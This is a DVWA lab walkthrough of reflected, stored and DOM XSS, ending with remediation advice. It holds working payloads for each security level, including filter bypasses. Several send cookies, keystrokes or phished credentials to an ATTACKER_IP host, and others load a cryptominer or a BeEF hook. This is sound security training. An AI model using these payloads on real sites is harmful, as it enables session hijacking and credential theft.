🔍 05 — XSS Reflected, Stored & DOM

XSS — Reflected, Stored & DOM-Based

OWASP: A03 - Injection | **CWE**: CWE-79 | **Severity**: 🟠 High

📖 Description

DVWA covers all three XSS types. Each has different persistence, trigger mechanisms, and exploitation vectors. Together they demonstrate how client-side code injection can lead to session hijacking, credential theft, and page defacement.

🖼️ XSS — REFLECTED

Endpoint: `http://localhost/dvwa/vulnerabilities/xss_r/`

Security Level: LOW

```
// Vulnerable code
$name = $_GET['name'];
echo "Hello " . $name;
```

PoC Payloads

```
<!-- Basic popup -->
<script>alert('XSS')</script>

<!-- Document domain -->
<script>alert(document.domain)</script>

<!-- Cookie theft -->
<script>alert(document.cookie)</script>

<!-- Redirect with cookie exfil -->
<script>document.location='http://ATTACKER_IP:8080/?c='+document.cookie</scri
pt>

<!-- Persistent keylogger -->
<script>document.onkeypress=function(e){fetch('http://ATTACKER_IP:8080/?k='+
e.key)}</script>

<!-- Fake login overlay -->
<script>
document.write('<div style="position:fixed;top:0;left:0;width:100%;height:10
0%;background:white;z-index:9999"><h2>Session Expired</h2><form method=POST a
```

```
ction=http://ATTACKER_IP/steal><input name=user placeholder=Username><input t
ype=password name=pass placeholder=Password><button>Login</button></form></di
v>')
</script>
```

Steal Session Cookie Full Flow

```
# Step 1: Start listener on attacker machine
python3 -m http.server 8080

# Step 2: URL-encode the payload and send as link to victim
http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>fetch('http://ATTAC
KER_IP:8080/steal?c='+document.cookie)</script>

# Step 3: Check server log
# 127.0.0.1 - - "GET /steal?c=PHPSESSID=abc123;+security=low" 200

# Step 4: Use stolen cookie in browser
# DevTools > Application > Cookies > Set PHPSESSID=abc123
```

Security Level: MEDIUM

```
// Defense: str_replace('<script>', '', $name)
// Only strips <script> tag, case-sensitive
```

Bypass Payloads

```
<!-- Case bypass -->
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</ScRiPt>

<!-- Strip <script> but nested -->
<sc<script>ript>alert(1)</sc</script>ript>

<!-- No script tag needed -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>Click</a>
```

Security Level: HIGH

```
// Defense: preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name)
// Regex strips any variation of <script>
```

Bypass (non-script tags work)

```
<img src=x onerror=alert(document.cookie)>
<body onload=alert(1)>
<svg/onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<input type=image src=x:x onerror=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
```

Security Level: IMPOSSIBLE

```
// Full htmlspecialchars() with ENT_QUOTES
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
// All <, >, ", ' converted to HTML entities
// Injection not possible
```

🟥 XSS — STORED

Endpoint: `http://localhost/dvwa/vulnerabilities/xss_s/`

Security Level: LOW

```
// Input stored directly in DB, output with no encoding
$message = $_POST['mtxMessage'];
$name = $_POST['txtName'];
insert_into_db($name, $message);
```

PoC Payloads

```
<!-- Message field (255 char limit by default) -->
<!-- Use Burp Suite to bypass maxlength restriction in HTML -->

<!-- Persistent XSS in message -->
<script>alert('Stored XSS')</script>

<!-- Persistent cookie stealer (all visitors affected) -->
<script>fetch('http://ATTACKER_IP:8080/?c='+document.cookie)</script>

<!-- Page defacement for all visitors -->
<script>document.body.innerHTML='<h1 style=color:red>HACKED BY VEDANT</h1>'</
script>

<!-- Cryptominer injection -->
<script src=http://ATTACKER_IP/miner.js></script>
```

```
<!-- BeEF Hook (Browser Exploitation Framework) -->
<script src=http://ATTACKER_IP:3000/hook.js></script>
```

Bypass maxlength via Burp

```
1. Fill the form in browser
2. Intercept POST in Burp Suite
3. Replace mtxMessage value with full XSS payload
4. Forward request
5. Payload stored in DB
```

Security Level: MEDIUM

```
<!-- name field strips <script> but message field is addslashes() only -->
<!-- Inject XSS in name field using case bypass -->
<SCRIPT>alert(1)</SCRIPT>

<!-- Or inject via message (addslashes doesn't prevent XSS) -->
<img src=x onerror=alert(1)>
```

Security Level: HIGH

```
<!-- Both fields use strip_tags() + htmlspecialchars... mostly -->
<!-- Name field still vulnerable to short payloads -->
<img src=x onerror=alert(1)>
```

Security Level: IMPOSSIBLE

```
// Both fields fully sanitized with htmlspecialchars + ENT_QUOTES
// Stored in DB safely, no injection possible
```

🌐 XSS — DOM

Endpoint: `http://localhost/dvwa/vulnerabilities/xss_d/`

How It Works

The page uses JavaScript to write user-controlled input (from URL `#` fragment or query param) directly to `document.write()` without sanitization.

Security Level: LOW

```
// Vulnerable JS
var lang = document.location.href.substring(document.location.href.indexOf('d
efault=')+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option
>");
```

PoC

```
http://localhost/dvwa/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')
</script>

http://localhost/dvwa/vulnerabilities/xss_d/?default=</option></select><scrip
t>alert(document.cookie)</script>

http://localhost/dvwa/vulnerabilities/xss_d/?default=</option></select><img s
rc=x onerror=alert(1)>
```

Security Level: MEDIUM

```
// Server-side check for <script> in default param
// But DOM still processes fragment (#)
```

Bypass via URL Fragment

```
# Server never sees the # part, only browser JS does!
http://localhost/dvwa/vulnerabilities/xss_d/#<script>alert(1)</script>

# If the page's JS reads location.hash:
http://localhost/dvwa/vulnerabilities/xss_d/?default=English#<script>alert(1)
</script>
```

Security Level: HIGH

```
// Whitelist: only allows English, French, Spanish, German
if (!in_array($lang, ['English','French','Spanish','German'])) {
    header('Location: ?default=English');
}
```

Bypass Still via Hash

```
http://localhost/dvwa/vulnerabilities/xss_d/?default=English#<script>alert(1)
</script>
// Server sees ?default=English (valid)
// Browser JS processes #<script>...
```

📊 Impact Comparison

Type	Persistence	Victim	Risk
Reflected	Per request	Specific target	High
Stored	Permanent	ALL visitors	Critical

Type	Persistence	Victim	Risk
DOM	Per URL	Specific target	High

✅ Remediation

```
// Output encoding (server-side)
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

// JavaScript encoding (DOM)
var lang = encodeURIComponent(location.search);
element.textContent = lang; // Not innerHTML!

// HTTP headers
header('Content-Security-Policy: default-src \'self\'; script-src \'self\'');
header('X-XSS-Protection: 1; mode=block');
setcookie('PHPSESSID', $session, 0, '/', '', true, true); // Secure + HttpOnl
y
```

📚 References

- CWE-79: https://cwe.mitre.org/data/definitions/79.html
- XSS Cheat Sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
- OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html